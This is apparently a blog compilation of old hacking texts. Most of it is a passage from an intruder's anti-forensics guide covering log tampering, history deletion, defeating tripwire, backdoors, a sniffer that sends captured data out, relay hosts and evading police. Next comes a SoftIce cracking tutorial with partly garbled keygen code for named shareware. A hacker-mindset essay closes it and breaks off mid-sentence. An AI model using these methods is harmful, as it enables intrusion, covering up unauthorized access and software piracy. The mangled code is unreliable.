school/university/job?

Don't give this a chance to happen!

If even this is not enough to motivate you: KEEP AWAY FROM HACKING! You
are a danger to the whole hacking society and your friends !

4. STAY PARANOID

I hope you learned now why it is important to become paranoid. So stay
paranoid. One mistake or lazy moment could suffice to ruin your life or
career.

Always maintain motivation to do it.

III. BASICS

CONTENTS:

1. Preface
2. Secure Yourself
3. Your own account
4. The logs
5. Don't leave a trace
6. Things you should avoid

1. PREFACE

You should know this and practice it before you start your first hack.
These are the absolute basics, without them you are in trouble soon. Even
an experienced hacker can find a new hint/info in here.

2. SECURE YOURSELF

What if a SysAdmin reads your email?
What if your phone calls are recorded by the police?
What if the police seizes your computer with all your hacking data on it?

If you don't receive suspicious email, don't talk about hacking/phreaking
on the phone and haven't got sensitive/private files on your harddisk then
you don't need to worry. But then again you aren't a hacker. Every hacker
or phreaker must keep in touch with others and have got his data saved
somewhere.

Crypt every data which is sensitive! Online-Harddisk-Crypter are very
important and useful:

There are good harddisk crypters free available an the internet, which
behave fully transparent to your operating systems, i.e. the packages
listed below are tested and were found to be a hacker's first-choice:

•If you use MsDos get SFS v1.17 or SecureDrive 1.4b •If you use Amiga get
EnigmaII v1.5 •If you use Unix get CFS v1.33

File Crypters: You can use any, but it should use one of the well known and
secure algorythms. NEVER use a crypting program which can be exported
because their effective keylengths are reduced!

•Triple DES •IDEA •Blowfish (32 rounds)

Encrypt your emails!

•PGP v2.6.x is used most so use it too.

Encrypt your phonecalls if you want to discuss important things.

•Nautilus v1.5a is so far the best

Encrypt your terminal sessions when connected to a unix system. Someone
might be sniffing, or monitoring your phone line.

•SSH is the so far most secure •DES-Login is fine too

Use strong passwords, non-guessable passwords which are not mentioned in
any dictionary. They should seem random but good to remember for yourself.
If the keylength is allowed to be longer than 10 chars, use that, and
choose a sentence from a book, slightly modified. Please crypt phonenumbers
of hacker friends twice. And call them from payphones/officephones/etc.
only, if you don't encrypt the conversation.

The beginner only needs PGP, a filecrypter and an online-hardisk-crypter.
If you are really deep into hacking remember to encrypt everything.

Make a backup of your data (Zip-Drive, other harddisk, CD, Tape), crypted
of course, and store it somewhere which doesn't belong to any computer
related guy or family member and doesn't belong to your house. So if a
defect, fire or fed raid occures you got a backup of your data.

Keep written notices only as long as you really need them. Not longer.
Keeping them in an encrypted file or on an encrypted partition is much
more secure. Burn the papers once you don't need them anymore. You can also
write them down with a crypt algorythm which only you know of, but don't
tell others and don't use it too often or it can be easily analyzed and
broken.

Really hardcore or ultra paranoid hackers should consider too the TEMPEST
Project. Cops, spies and hackers could monitor all your doings. A well
equipted man could have anything he wants : Electronic pulse emanation can
be catched from more than 100 meters away and show your monitor screen to
somebody else, a laserpoint to your window to hear private conversations,
or identifying hifrequency signals of keyboard clicks ... so possiblities
are endless Lowcost prevention can be done by electronic pulse jammers
and therelike which become available on the public market, but I don't
think this is secure enough to keep anyone dedicated away.

3. YOUR OWN ACCOUNT

So let's talk about your own account. This is your real account you got at
your school/university/job/provider and is associated with your name. Never
forget to fail these rules:

Never do any illegal or suspicious things with your real accounts! Never
even try to telnet to a hacked host! Security mailing lists are okay to
read with this account. But everything which seems to have to do with
hacking must be either encrypted or be deleted as once. Never leave/save
hacking/security tools on your account's harddisk. If you can, use POP3 to
connect to the mailserver and get+delete your email (or do it in an other
way if you are experienced enough using unix) Never give out your real
email if your realname is in your .plan file and/or geco field (remember
the EXPN command from sendmail ...) Give it only to guys who you can trust
and are also security conscious, because if they are caught you may follow
(or if it's a fed, not a hacker) Exchange emails with other hackers only
if they are encrypted (PGP) SysAdmins OFTEN snoop user directories and read
other's email! Or another hacker might hack your site and try to get your
stuff!

Never use your account in a way which shows interest in hacking. Interest
in security is okay but nothing more.

4. THE LOGS

There are 3 important log files:

WTMP - every log on/off, with login/logout time plus tty and host
UTMP - who is online at the moment
LASTLOG - where did the logins come from

There exist others, but those will be discussed in the advanced section.
Every login via telnet, ftp, rlogin and on some systems rsh are written to
these logs. It is VERY important that you delete yourself from those
logfiles if you are hacking because otherwise they

a) can see when did you do the hacking exactly
b) from which site you came
c) how long you were online and can calculate the impact

NEVER DELETE THE LOGS! It's the easiest way to show the admin that a hacker
was on the machine. Get a good program to modify the logs. ZAP (or ZAP2) is
often mentioned as the best - but in fact it isn't. All it does is
overwriting the last login-data of the user with zeros. CERT already
released simple programs which check for those zero'ed entries. So thats
an easy way to reveil the hacker to the admin too. He'll know someone
hacked root access and then all you work was worthless. Another important
thing about zap is that it don't report if it can't find the log files - so
check the paths first before compiling! Get either a program which CHANGES
the data (like CLOAK2) or a really good one which DELETES the entries
(like CLEAR).

Normally you must be root to modify the logs (except for old distributions
which have got utmp and wtmp world-writable). But what if you didn't made
it hacking root - what can you do? Not very much : Do a rlogin to the
computer you are on, to add a new unsuspicous LASTLOG data which will be
displayed to the owner when he logs on next time. So he won't get
suspicious if he sees "localhost". Many unix distributions got a bug with
the login command. When you execute it again after you logged already on,
it overwrites the login-from field in the UTMP (which shows the host you
are coming from!) with your current tty.

Where are these log files by default located? That depends on the unix
distribution.

UTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log
WTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log
LASTLOG : /usr/var/adm or /usr/adm or /var/adm or /var/log

on some old unix dists the lastlog data is written into $HOME/.lastlog

5. DON'T LEAVE A TRACE

I encountered many hackers who deleted themselves from the logs. But they
forgot to erase other things they left on the machines : Files in /tmp and
$HOME

Shell History
It should be another as you current login account uses. Some shells leave
a history file (depends on enviroment configuration) with all the commands
typed. Thats very bad for a hacker. The best choice is to start a new shell
as your first command after logging in, and checking every time for a
history file in you $HOME. History files :

sh:.sh_historycsh:.historyksh:.sh_historybash:.bash_historyzsh:.history

Backup Files :

dead.letter, *.bak, *~

In other words: do an "ls -altr" before you leave!

Here're 4 csh commands which will delete the .history when you log out,
without any trace.

mv .logout save.1
echo rm .history>.logout
echo rm .logout>>.logout
echo mv save.1 .logout>>.logout

6. THINGS YOU SHOULD AVOID

Don't crack passwords on an other machine than your own, and then only on a
crypted partition. If you crack them on a e.g. university and the root sees
your process and examines it not only your hacking account is history but
also the site from which the password file is and the university will keep
all eyes open to watch out for you. Download/grab the passwd data and crack
them on a second computer or in a background process. You don't need many
cracked accounts, only a few.

If you run important programs like ypx, iss, satan or exploiting programs
then rename them before executing or use the small common source to exchange
the executed filename in the process list ... ever security conscious user
(and of course admin) knows what's going on if he sees 5 ypx programs
running in the background ... And of course if possible don't enter
parameters on the command line if the program supports an interactive mode,
like telnet. Type "telnet" and then "open target.host.com" ... which won't
show the target host in the process list as parameter.

If you hacked a system - don't put a suid shell somewhere! Better try to
install some backdoors like ping, quota or login and use fix to correct
the atime and mtime of the file if you don't have got another possiblity.

IV. ADVANCED

CONTENTS:

1. Preface
2. Prevent Tracing of any kind
3. Find and manipulate any log files
4. Check the syslog configuration and logfile
5. Check for installed security programs
6. Check the admins
7. How to "correct" checksum checking software
8. User Security Tricks
9. Miscellaneous

1. PREFACE

Once you installed your first sniffer and begin to hack worldwide then you
should know and use these checks & techniques! Use the tips presented here
- otherwise your activity will be over soon.

2. PREVENT TRACING OF ANY KIND

Sometimes your hacking will be noticed. Thats not a real problem - some of
your sites will be down but who cares, there are enough out there to
overtake. The very dangerous thing is when they try to trace you back to
your origin - to deal with you - bust you!

This short chapter will tell you every possiblity THEY have to trace you
and what possibilities YOU have to prevent that.

1. Normally it should be no problem for the Admin to identify the system
the hacker is coming from by either:

•checking the log entries; if the hacker was really lame, •taking a look at
the sniffer output the hacker installed and he's in too, •any other audit
software like loginlog, •or even show all estrablished connections with
"netstat" if the hacker is currently online

- expect that they'll find out! Thats why you need a gateway server.

2. A gateway server in between - what is it? Thats one of many many servers
you have accounts on, which are absolutely boring systems and you have got
root access on. You need the root access to alter the wtmp and lastlog
files plus maybe some audit logs do nothing else on these machines! You
should change the gateway servers on a regular basis, say every 1-2 weeks,
and don't use them again for at least a month. With this behaviour it's
unlikely that they will trace you back to your next point of origin : the
hacking server.

3. Your Hacking Server - basis of all activity From these server you do
begin hacking. Telnet (or better : remsh/rsh) to a gateway machine and
then to the target. You need again root access to change the logs. You
should change your hacking server every 2-4 weeks.

4. Your Bastian/Dialup server. This is the critical point. Once they can
trace you back to your dialup machine you are already fried. A call to the
police, a line trace and your computer hacking activity is history - and
maybe the rest of your future too. You *don't* need root access on a
bastion host. Since you only connect to it via modem there are no logs
which must be changed. You should use a different account to log on the
system every day, and try to use those which are seldom used. Don't modify
the system in any way! You should've got at least 2 bastion host systems
you can dialup to and switch between them every 1-2 month.

Note: If you have got the possiblity to dialup different systems
every day (f.e. due blueboxing) then do so. you don't need
a hacking server then.

5. Do bluebox/card your call or use an outdial or any other way. So even
when they capture back your bastion host, they can't trace you (easily) ...
For blueboxing you must be cautious, because germany and the phone companies
in the USA do have surveillance systems to detect blueboxers ... At&t traces
fake cred card users etc. Using a system in between to transfer your call
does on the one side make tracine more difficult - but also exposes you to
the rish being caught for using a pbx etc. It's up to you. Note too that in
f.e. Denmark all - ALL - calling data is saved! Even 10 years after your
call they can prove that *you* logged on the dialup system which was used
by a hacker ...

6.Miscellaneous

If you want to run satan, iss, ypx, nfs filehandle guessing etc. then use a
special server for this. don't use it to actually telnet/rlogin etc. to a
target system, only use it for scanning. Connect to it as if it were a
gateway server.

Tools are out there which binds to a specific port, and when a connection
is established to this port, it's automatically opening a connection to
another server some other just act like a shell on the system, so you do a
"telnet" from this socket daemon too. With such a program running you won't
be written in any log except firewall logs. There are numerous programs
out there which do that stuff for you.

If possible, the hacking server and/or the gateway machine should be
located in a foreign country! Because if your breakin (attempt) was
detected and your origin host identified then most admins will tend to give
up to hunt after you. Even if the feds try to trace you through different
countries it will delay them by at least 2-10 weeks ...

CONCLUSION: If you hack other stuff than univerisities then do it this way!
Here is a small picture to help you ;-)

+-------+ ~---------------> +-------------+ +-----------+
|+-----+| >hopefully > |one of at | |one of many|
|| YOU || --> >a trace-safe > --> |least 3 | --> |hacking |
|+-----+| >dial possiblity> |bastion hosts| |server |
+-------+ ~---------------> +-------------+ +-----------+
|
|
v
+-----------------+ +--------+ +-----------+
|maybe additional | | the | |one hacked |
|server from | ... <-- ... | main | <-- |server as | |internal network | | target | |gateway | +-----------------+ +--------+ +-----------+ 3. FIND AND MANIPULATE ANY LOG FILES It's important that you find all logfiles - even the hidden ones. To find any kind of logfiles there are two easy possibilities: •Find all open files. Since all logfiles must write somewhere, get the cute program LSOF - LiSt Open Files - to see them ... check them ... and if necessary correct them. •Search for all files changed after your login. After your login do a "touch /tmp/check" then work on. Later just do a "find / -newer /tmp/check -print" and check them if any of those are audit files. see>check>correct. Note that not all versions of find support
the -newer option You can also do a "find / -ctime 0 -print" or
"find / -cmin 0 -print" to find them.

Check all logfiles you find. Normally they are in /usr/adm, /var/adm or
/var/log. If things are logged to @loghost then you are in trouble. You
need to hack the loghost machine to modify the logs there too ...

To manipulate the logs you can either do things like "grep -v", or do a
linecount with wc, and then cut off the last 10 lines with
"head -LineNumbersMinus10", or use an editor etc. If the log/audit files
are not textfiles but datarecords ... identify the software which writes
the logfiles. Then get the sourcecode. Then find the matching header file
which defines the structure of the file. Get zap, clear, cloak etc. and
rewrite it with the header file to use with this special kind of logfile
(and it would be kind to publish your new program to the hacker society
to safe others much work)

If accouting is installed then you can use the acct-cleaner from zhart,
also in this release - it works and is great!

A small gimmick if you must modify wtmp but can't compile a source and no
perl etc. is installed (worked on SCO but not on linux) : Do a uuencode of
wtmp. Run vi, scroll down to the end of the file, and and delete the last
4 (!) lines beginning with "M" ... then save+exit, uudecode. Then the last
5 wtmp entries are deleted ;-)

If the system uses wtmpx and utmpx as well you are in trouble ... I don't
know any cleaner so far who can handle them. Program one and make it
available for the scene.

4. CHECK THE SYSLOG CONFIGURATION AND LOG

Most programs use the syslog function to log anything they want. It's
important to check the configuration where syslog does print special
types. The config file is /etc/syslog.conf - and I won't tell you here
what the format is and what each entry means. Read the manpages about it.
Important for you are kern.*, auth.* and authpriv.* types. Look where
they are written too: files can be modified. If forwarded to other hosts
you must hack those too. If messages are sent to a user, tty and/or
console you can do a small trick and generate false log messages like
"echo 17:04 12-05-85 kernel sendmail[243]: can't resolve bla.bla.com > /dev/console"
or whichever device you want to flood so that the message you want to hide
simply scrolls over the screen. These log files are very important!
Check them.

5. CHECK FOR INSTALLED SECURITY PROGRAMS

On most security conscious sites, there are security checkers run by cron.
The normal directory for the crontabs are /var/spool/cron/crontabs. Check
out all entries, especially the "root" file and examine the files they run.
For just a fast investigation of the crontabs of root type "crontab -l root".

Some of those security tools are most time also installed on the admins'
accounts. Some of them (small utils to check wtmp, and if a sniffer is
installed) are in their ~/bin. Read below to identify those admins and
check their directories.

Internal checking software can be tiger, cops, spi, tripwire, l5, binaudit,
hobgoblin, s3 etc.

You must examine them what they report and if they would report something
that would be a sign of your breakin. If yes you can

•update the data files of the checker (learn mode) so that it won't report
that type anymore •reprogram/modify the software so that they don't report
it anymore. (I love fake cpm programs ;-) •if possible remove the e.g.
backdoor you installed and try to do it in another way.

6. CHECK THE ADMINS

It is important for you to check the sysops for the security counter-measures
they do - so first you need to know which normal accounts are they use. You
can check the .forward file of root and the alias entry of root. Take a look
into the sulog and note those people who did a successful su to root. Grab
the group file and examine the wheel and admin group (and whatever other
group are in this file which are related to administration). Also grep'ing
the passwd file for "admin" will reveile the administrators.

Now you should know who the 1-6 administrators on the machines are. Change
into their directories (use chid.c, changeid.c or similar to become the
user if root is not allowed to read every file) and check their
.history/.sh_history/.bash_history to see what commands they type usually.
Check their .profile/.login/.bash_profile files to see what aliases are
set and if auto-security checks or logging are done. Examine their ~/bin
directory! Most times compiled security checking programs are put there!
And of course take a look into each directory they've got beside that
(ls -alR ~/). If you find any security related stuff, read 5.) for
possibilities to bypass those protections.

7. HOW TO "CORRECT" CHECKSUM CHECKING SOFTWARE

Some admins really fear hacker and install software to detect changes of
their valuable binaries. If one binary is tampered with, next time the
admin does a binary check, it's detected. So how can you

a.find out if such binary checkers are installed and b.how to modify them
so you can plant in your trojan horse?

Note that there are many binary checker out there and it's really easy to
write one - takes only 15 minutes - and can be done with a small script. So
it's hard to find such software if it's installed. Note that internal
security checking software sometimes also support such checking. Here are
some widely used ones :

SOFTWARE STANDARD PATHBINARY FILENAMES:

tripwire/usr/adm/tcheck
/usr/local/adm/tcheckdatabases
/usr/local/adm/audit

But as you can see there are too much possibilities! The software or
database could even be on an normally unmounted disk or NFS exported
partition of another host. Or the checksum database is on a write protected
medium. There are too much possibilities. But normally you can just do the
fast check if the above packages are installed and if not go on exchanging
binaries. If you don't find them but it actually is a very well secured
site then you should NOT tamper with the binaries! They sure have got them
hidden very well.

But what do you do when you find that software installed and you can modify
them (e.g. not a write protected medium, or something that can be bypasswd
- for example unmounting the disk and remounting writable)? You've got 2
possibilities :

•First you can just check the parameters of the software and run an
"update" on the modified binary. For example for tripwire that's
"tripwire -update /bin/target".

•Seconds you can modify the filelist of the binaries being checked -
removing the entry of the replaced one. Note that you should also check
if the database file itself is checked too for changes! If yes -
update/delete the entry as well.

8. USER SECURITY TRICKS

This is a rare thing and is only for sake of completeness. Some users, named
admins and hackers, usually don't want their own accounts to be used by
someone else. That's why they sometimes put some security features into
their startup files.

So check all dotfiles (.profile, .cshrc, .login, .logout etc.) what commands
they execute, what history logging and which searchpath they set. If f.e.
$HOME/bin comes before /bin in the search path you should check the contents
of this directory ... maybe there's a program called "ls" or "w" installed
which logs the execution time and after that executing the real program.

Other check automatically the wtmp and lastlog files for zap usage,
manipulation of .rhosts, .Xauthority files, active sniffers etc. Never mess
with an account a unix wizard is using!

9. MISCELLANEOUS

Finally, before some last words about being under suspect or caught, here
are some miscellaneous things which a worth to take a notice off.

Old telnet clients do export the USER variable. An administrator who knows
that and modified the telnetd can get all user names with that and so
identify the account you are hacking from, once he notices you. The new
clients have been fixed - but a clever admin has got other possiblities
to identify the user : the UID, MAIL and HOME variables are still exported
and makes identifying of the account used by the hacker easy. Before you
do a telnet, change the USER, UID, MAIL and HOME variable, maybe even the
PWD variable if you are in the home directory.

On HP-UX < v10 you can make hidden directories. I'm not talking about . (dot) files or similar but a special flag. HP introduced it v9, but was removed from version 10 (because it was only used by hackers ;-). If you do a "chmod +H directory" it's invisible for the "ls -al". To see the hidden directories you need to add the -H switch to ls, e.g. "ls -alH" to see everything. Whenever you are in need to change the date of a file, remember that you can use the "touch" command to set the atime and mtime. You can set the ctime only by raw writes to the harddisk ... If you install sniffer and it's an important system, then make sure that you either obfusicate the sniffer output (with an encryption algorythm [and i'm not talking about rot13] or let the sniffer send all the captured data via icmp or udp to an external host under your control. Why that? If the admin finds somehow the sniffer (cpm and other software checking for sniffers) they can't identify in the logfile what data was sniffed, so he can't warn hosts sniffed by you. V. UNDER SUSPECT Once you are under suspect (by either police and/or administrator) you should take special actions so they won't get evidence on you. NOTE : If the administrators think you are a hacker, YOU ARE GUILTY UNTIL PROVEN INNOCENT The laws means nothing to the admins (sometimes I think the difference between a hacker and an administrator is only that the computer belongs to them). When they think you are a hacker you are guilty, without a lawyer to speak for you. They'll monitor you, your mails, files, and, if they are good enough, your keystrokes as well. When the feds are involved, you phone line might be monitored too, and a raid might come soon. If you notice or fear that you are under suspect then keep absolutely low profile! No offensive action which points to hacking should be done. Best thing is to wait at least 1-2 month and do nothing. Warn your friends not to send you any email, public normal only, non-offensive mail is wonderful, put pgp encrypted emails will ring the alarm bells of monitoring admins and feds. Cut down with everything, write some texts or program tools for the scene and wait until things have settled. Remember to encrypt all your sensitive data and remove all papers with account data, phone numbers etc. Thats the most important stuff the feds are looking for when they raid you. VI. CAUGHT Note that this small chapter covers only the ethics and basics and hasn't got any references to current laws - because they are different for every country. Now we talking about the stuff you should/shouldn't do once the feds visited you. There are two very important things you have to do: 1. GET A LAWYER IMMEDEATELY! The lawyer should phone the judge and appeal against the search warrant. This doesn't help much but may hinder them in their work. The lawyer should tell you everything you need to know what the feds are allowed to do and what not. The lawyer should write a letter to the district attorney and/or police to request the computers back as fast as possible because they are urgently needed to do business etc. As you can see it is very useful to have got a lawyer already by hand instead of searching for one after the raid. 2. NEVER TALK TO THE COPS! The feds can't promise you anything. If they tell you, you'll get away if you talk, don't trust them! Only the district attorney has got the power to do this. The cops just want to get all information possible. So if you tell them anything they'll have got more information from and against you. You should always refuse to give evidence - tell them that you will only talk with them via your lawyer. Then you should make a plan with your lawyer how to get you out of this shit and reduce the damage. But please keep in mind : don't betray your friends. Don't tell them any secrets. Don't blow up the scene. If you do, that's a boomerang : the guys & scene will be very angry and do revenge, and those guys who'll be caught because of your evidence will also talk ... and give the cops more information about your crimes! Note also that once you are caught you get blamed for everything which happened on that site. If you (or your lawyer) can show them that they don't have got evidences against you for all those cases they might have trouble to keep the picture of that "evil hacker" they'll try to paint about you at the court. If you can even prove that you couldn't do some of the crimes they accuse you for then your chances are even better. When the judge sees that false accuses are made he'll suspect that there could be more false ones and will become distrusted against the bad prepared charges against you. I get often asked if the feds/judge can force you to give up your passwords for PGP, encrypted files and/or harddisks. That's different for every country. Check out if they could force you to open your locked safe. If that's the case you should hide the fact that you are crypting your data! Talk with your lawyer if it's better for you to stand against the direction to give out the password - maybe they'd get evidences which could you get into jail for many years. (For german guys : THC-MAG #4 will have got an article about the german law, as far as it concerns hacking and phreaking - that article will be of course checked by a lawyer to be correct. Note that #4 will only discuss germany and hence will be in the german language. But non-germans, keep ya head up, this will be the first and last german only magazine release ;-) VII. PROGRAMS Here is a small list of programs you should get and use (the best!). DON'T email me where to get them from - ask around in the scene! I only present here the best log modifiers (see III-4 and IV-3). Other programs which are for interest are telnet redirectors (see IV-2) but there are so many, and most compile only on 1-3 unix types so there's no use to make a list. First a small glossary of terms: Change - changes fields of the logfile to anything you want. Delete - deletes, cuts out the entries you want. Edit - real editor for the logfile. Overwrite - just overwrites the entries with zero-value bytes. (Don't use overwriters (zap) - they can be detected!) LOG MODIFIERS: ah-1_0b.tar Changes the entries of accounting informationclear.c Deletes entries in utmp, wtmp, lastlog and wtmp xcloak2.c Changes the entries in utmp, wtmp and lastlog invisible.c Overwrites utmp, wtmp and lastlog with predefines values, so it's better than zap. Watch out, there are numerous inv*.c !marryv11.c Edit utmp, wtmp, lastlog and accounting data - best! wzap.c Deletes entries in wtmp wtmped.c Deletes entries in wtmp zap.c Overwrites utmp, wtmp, lastlog - Don't use! Can be detected! VIII. LAST WORDS Last fucking words: Don't get caught, remember these tips and keep your ears dry. If someone would like to correct some points, or would like to add a comment, or needs more information on a topic or even thinks something's missing - then drop me a note.

How make key generator

2009-07-05T10:34:00.001-07:00

raZZia's Tutorial on Key Generators

Tools!
For tools you need a minimum of debugger like SoftIce for Windows (hence WinIce), and a C compiler with Dos libraries.

Content!
In this tutorial I will show how to make a key-gen for Ize and Swiftsearch. The protection that these programs use is the well known Enter-Name-and-Registration-Number method. After selecting 'register', a window pops up where you can enter your name and your registration number. The strategy here is to find out where in memory the data you enter is stored and then to find out what is done with it. Before you go on make sure you configure the SoftIce dat file according to the PWD tutorial #1.

Part 1: Scanline Swiftsearch 2.0!

Swiftsearch is a useful little program that you can use to search on the web. I will explain step by step how to crack it.

step 1. Start the program :)

step 2: Choose register from the menus. You will now get a window where you can enter your name and your registration number.

step 3: Enter SoftIce (ctrl-d)

step 4: We will now set a breakpoint on functions like GetWindowText(a) and GetDlgItemText(a) to find out where in memory the data that we just entered is stored. The function that is used by this program is GetDlgItemTexta (trial and error, just try yourself :) so, in SoftIce type BPX GetDlgItemTexta and exit SoftIce with the g command.

step 5: Now type a name and a registration number (I used razzia and 12345) and press OK, this will put you back in SoftIce. Since you are now inside the GetDlgItemTexta function press F11 to get out of it. You should see the following code:

lea eax, [ebp-2C] :<--- we are looking for this location push eax push 00000404 push [ebp+08] call [USER32!GetDlgItemTextA] mov edi, eax :<--- eax has the length of the string and is stored in edi for later usage. We see that EAX is loaded with a memory address and then pushed to the stack as a parameter for the function GetDlgItemTextA. Since the function GetDlgItemTextA is already been run we can look at EBP-2c (with ED EDP-2c) and see that the name we entered is there. Now we know where the name is stored in memory, normally it would be wise to write that address down, but we will see that in this case it wont be necessary. So, what next? Now we have to allow the program to read the registration number we entered. Just type g and return and when back in SoftIce press F11. You should see the following code: push 0000000B lea ecx, [ebp-18] : <--So, ebp-18 is where the reg. number push ecx : is stored. push 0000042A push [ebp+08] call [USER32!GetDlgItemTextA] mov ebx, eax : <--save the lenght of string in EBX test edi, edi : <--remember EDI had the lenght of the jne 00402FBF : name we entered? We see that the registration number is stored at location EBP-18 , check it with ED EBP-18. Again, normally it would be wise to note that address down. Also we see that it is checked if the length of the name we gave was not zero. If it is not zero the program will continue. Step 6: Ok, now we know where the data we entered is stored in memory. What next? Now we have to find out what is DONE with it. Usually it would we wise to put breakpoints on those memory locations and find out where in the program they are read. But in this case the answer is just a few F10's away. Press F10 until you see the following code : cmp ebx, 0000000A :<--remember EPX had the length of the je 00402FDE : registration code we entered? These two lines are important. They check if the length of the registration code we entered is equal to 10. If not the registration number will be considered wrong already. The program wont even bother to check it. Modify EBX or the FLAG register in the register window to allow the jump. Continue Pressing F10 until you get to the following code (note that the adresses you will see could be different) : :00402FDE xor esi, esi :<-- Clear ESI :00402FE0 xor eax, eax :<-- Clear EAX :00402FE2 test edi, edi :00402FE4 jle 00402FF2 :00402FE6 movsx byte ptr ecx, [ebp + eax - 2C] :<-- ECX is loaded with a letter of the name we entered. :00402FEB add esi, ecx :<-- Add the letter to ESI :00402FED inc eax :<-- Increment EAX to get next letter :00402FEE cmp eax, edi :<-- Did we reach the end of the string? :00402FF0 jl 00402FE6 :<-- If not, go get the next letter. Well, we see that the program adds together all the letters of the name we entered. Knowing that ESI contains the sum of the letters, lets continue and find out what the program does with that value : :00402FF2 push 0000000A :00402FF4 lea eax, [ebp-18] :<-- Load EAX with the address of the reg. number we entered :00402FF7 push 00000000 :00402FF9 push eax :<-- Push EAX (as a parameter for the following function) :00402FFA call 00403870 :<-- Well, what do you think this function does? :) :00402FFF add esp, 0000000C :00403002 cmp eax, esi :<-- Hey! :00403004 je 00403020 We see that a function is called and when RETurned ESI is compared with EAX. Hmm, lets look at what's in EAX. A '? EAX' reveals : 00003039 0000012345 "09" Bingo. That's what we entered as the registration number. It should have been what's inside ESI. And we know what's inside ESI, the sum of the letters of the name we entered! Step 7: Now we know how the program computes the registration code we can make a key-gen. But we should not forget that the program checks also that the registration number has 10 digits. A simple C code that will compute the registration number for this program could look like this: #include
#include
main()
{
char Name[100];
int NameLength,Offset;
long int Reg = 0, Dummy2 = 10;
int Dummy = 0;
int LengtDummy = 1;
int Lengt , Teller;
printf("Scanline SwiftSearch 2.0 crack by raZZia.\n");
printf("Enter your name: ");
gets(Name);
NameLength=strlen(Name);

/* the for lus calculates the sum of the letters in Name */
/* and places that value in Reg */
for (Offset=0;Offset< lengt =" LengtDummy" dummy ="1;" lengtdummy="LengtDummy" dummy2="Dummy2*10;" lengt="10-Lengt;" teller="1;Teller<="Lengt;Teller="Teller+1)" edi="EDI*EAX" edi="EDI*EAX" edi="EDI*ESI" ebp="EBP+EDI" eax="EAX" eax="EAX" eax="EAX" eax="EAX">>10
:00404489 ret

The above code consists of a loop that goes trough all the letters of the name we entered. With each
letter some value is calculated, all these values are added up together (in EBP). Then this value is stored
in EAX and the function RETurns. And that was what we were looking for, we wanted to know how EAX got its value!

Step 6: Now to make a key-gen we have to translate the above method of calculating the right reg# into a
c program. It could be done in the following way :
(Note : I am a bad c programmer :)

#include
#include
main()
{
char Name[100];
int NameLength,Offset;
unsigned long Letter,DummyA;
unsigned long Key = 0xa4cc;
unsigned long Number = 0;
printf("Ize 2.04 crack by razzia\n");
printf("Enter your name: ");
gets(Name);
NameLength=strlen(Name);
for (Offset=0;Offset> 0x10;
Letter=Letter*DummyA;
DummyA=Key;
DummyA=DummyA*0x15a4e35;
DummyA=DummyA+1;
Key=DummyA;
DummyA=DummyA & 0x7fff0000;
DummyA=DummyA >> 0x10;
Letter=Letter*DummyA;
Letter=Letter*(Offset+1);
Number=Number+Letter;
}
printf("\nYour registration number is : %lu\n",Number);
}

Final Notes

For feedback and suggestions pls contact me :)

raZZia

Hackmind

2009-07-05T10:33:00.004-07:00

So you wanna be a HACKER huh? It's a state-of-MIND!
..you can induce it - but only if you are willing to drive yourself
mad enough! Go read and practice until you have mastered at least
Assembly language and Intermediate Level Electronics! Without this
foundation you'll be just another little geek, who might know the magic
words to the spell but dosent understand what he's doing! So RTFM!
..so what does that mean? Read The Fucking Manual! You will be sooo
amazed at how easy most things are if you just try to read the manual
first! The truth is: Most people cant read. Or they read poorly if
they read at all. So if you can't really read...STOP RIGHT HERE. GO
learn to read first. If you can't read at a minimum 12th Grade level
you cant be a hacker. Reading is the basic skill you must have to do
EVERYTHING BEYOND THIS POINT.

Tell your friends you cant party...you're busy. Spend at least 4
hours a day at your new-found fascination...or decide right here
and now that you cant cut it! If you CAN, get a copy of MINIX or
LINUX...start learning about OPERATING SYSTEMS. Then start your
1st real hack...try building a computer-controlled, DTMF dialer
card for your cheap PC...write the code to use it with, make it
a TSR to keep life interesting...now port it to MINIX or whatever
...better yet, port it as an IOCTL call at kernel level! You keep
reading...

Now you're ready to take on something more complex - go to the
Library, start a literature search; topic: Telephone Technologies.
RTFM! Learm about the ancient cross-bar, the Pre-ESS systems, the
fab MFTSS, the TELEX boxes and circuits...keep reading...buy up
an older, cheap (like under $50) cellular phone...by this time
you should already have a subscription to 'Nuts & Volts" as well
as a few other grassroots technology pubs....buy a copy of the
"Cellular Hacker's Bible"....start by doing something simple..
..disassemble and re-write the phone`s control ROM to allow it
to function as an 800MHZ scanner...hopefully you've assembled
a large array of tools and test gear by now. You've got a good
dual-trace scope, some pc-based PROM burner, a signal generator,
a logic probe or two, maybe even a microprocessor-emulator for
the 5051, the Z80, the 68010 or something....you may have been
dragged into some fields-afar by life - incorporate them: If
somebody drasgged you into SCUBA, build your own sonar. If you
have gotten interested in amateur radio, you can build a lot
of swell stuff...I recommend you checkout Packet's AX25A level2
protocol...very slick stuff! If your bud's are all into motors,
take a whak at doing your own Performance PROMS for GM's F.I. and
spark advance curves...or try adapting some Volkswagen/BOSCHE
Kjetronics F.I. to a Harley Davidson!..maybe you're into music
so you buy a synthesizer and learn all about electronic music,
you start hacking analog modules and build a nicer synth than you
could buy! Then you interface it to a MIDI port on a cheap 286AT
and then hack up some sequencer software, or buy some and then
disassemble it to fix all the bugs! You keep reading...

By now most of your friends are also "far into the pudding", you
have either gained 50 lbs or gone totally skinny...your skin tone
is 2 shades lighter from being indoors so long...most of the opposite
sex is either totally freaked by or with you - they either dig you,
or they dont!...you're probably knocking on the door of what will
be a $60K+/yr job as a systems analyst...and you are well-aware that
90% of the people in this world can't talk their way out of a badly
cooked steak at the local eatery, let alone install a new motherboard
in their PC! So you pick up some extra cash on doing shit like that
for the straights...you keep reading, and RTFM'ing higher and higher,
learning about networks...the VCR breaks down and your SO bitches
about having to wait till monday to have it fixed...you fix it in
about 40 minutes....the next day the clothes dryer starts to make
squeeking noises like a 50' mouse, you've never fixed one before -
but somehow it's not that difficult to open the bastard up and find
the squeek and fix it...and suddenly it dawns on you that hacking
code or hardware is pretty much the same! You keep reading...

Congrats, you are now a real hacker. Absolutly nothing but a lack of
time (or in some cases money) can stop you. You are a true Technologic
Philosopher...you can function in places a mere Engineer or Scientist
would truly FEAR TO TREAD! You can read better than Evelyn Wood, you
have a collection of tools that would make a Master Machinist and a
Prototype EE or ME cry. You can calculate series and parallel resonant
circuits in your head. You can fix any consumer appliance - if you can
get the parts. Your car has either become one of your main hacks or
you'ver deligated the job to a mechanic who you have found to be a
fellow hacker; and you work on his homebrew 68010 unix box...because
you've got a 68010 emulator and he works on your car because that's
